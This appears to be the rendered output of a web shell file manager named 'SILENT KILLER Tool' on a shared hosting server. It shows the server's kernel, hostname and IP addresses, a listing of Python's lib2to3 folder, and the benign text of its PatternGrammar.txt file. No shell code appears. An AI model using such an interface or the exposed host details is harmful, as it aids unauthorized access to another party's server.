Current Path: > > lib64 > python3.6 > lib2to3
Operation : Linux premium107.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 Software : Apache Server IP : 198.54.126.246 | Your IP: 216.73.216.181 Domains : 1034 Domain(s) Permission : [ 0755 ]
| Name | Type | Size | Last Modified | Actions |
|---|---|---|---|---|
| __pycache__ | Directory | - | - | |
| fixes | Directory | - | - | |
| pgen2 | Directory | - | - | |
| Grammar.txt | File | 6562 bytes | December 23 2018 21:37:14. | |
| Grammar3.6.8.final.0.pickle | File | 32252 bytes | February 05 2026 20:05:18. | |
| PatternGrammar.txt | File | 793 bytes | December 23 2018 21:37:14. | |
| PatternGrammar3.6.8.final.0.pickle | File | 2093 bytes | February 05 2026 20:05:18. | |
| __init__.py | File | 7 bytes | December 23 2018 21:37:14. | |
| __main__.py | File | 67 bytes | December 23 2018 21:37:14. | |
| btm_matcher.py | File | 6833 bytes | December 23 2018 21:37:14. | |
| btm_utils.py | File | 9966 bytes | December 23 2018 21:37:14. | |
| fixer_base.py | File | 6690 bytes | December 23 2018 21:37:14. | |
| fixer_util.py | File | 15207 bytes | December 23 2018 21:37:14. | |
| main.py | File | 11653 bytes | December 23 2018 21:37:14. | |
| patcomp.py | File | 7044 bytes | December 23 2018 21:37:14. | |
| pygram.py | File | 1154 bytes | December 23 2018 21:37:14. | |
| pytree.py | File | 28052 bytes | December 23 2018 21:37:14. | |
| refactor.py | File | 27965 bytes | December 23 2018 21:37:14. |
# Copyright 2006 Google, Inc. All Rights Reserved.
# Licensed to PSF under a Contributor Agreement.
# A grammar to describe tree matching patterns.
# Not shown here:
# - 'TOKEN' stands for any token (leaf node)
# - 'any' stands for any node (leaf or interior)
# With 'any' we can still specify the sub-structure.
# The start symbol is 'Matcher'.
Matcher: Alternatives ENDMARKER
Alternatives: Alternative ('|' Alternative)*
Alternative: (Unit | NegatedUnit)+
Unit: [NAME '='] ( STRING [Repeater]
| NAME [Details] [Repeater]
| '(' Alternatives ')' [Repeater]
| '[' Alternatives ']'
)
NegatedUnit: 'not' (STRING | NAME [Details] | '(' Alternatives ')')
Repeater: '*' | '+' | '{' NUMBER [',' NUMBER] '}'
Details: '<' Alternatives '>'
SILENT KILLER Tool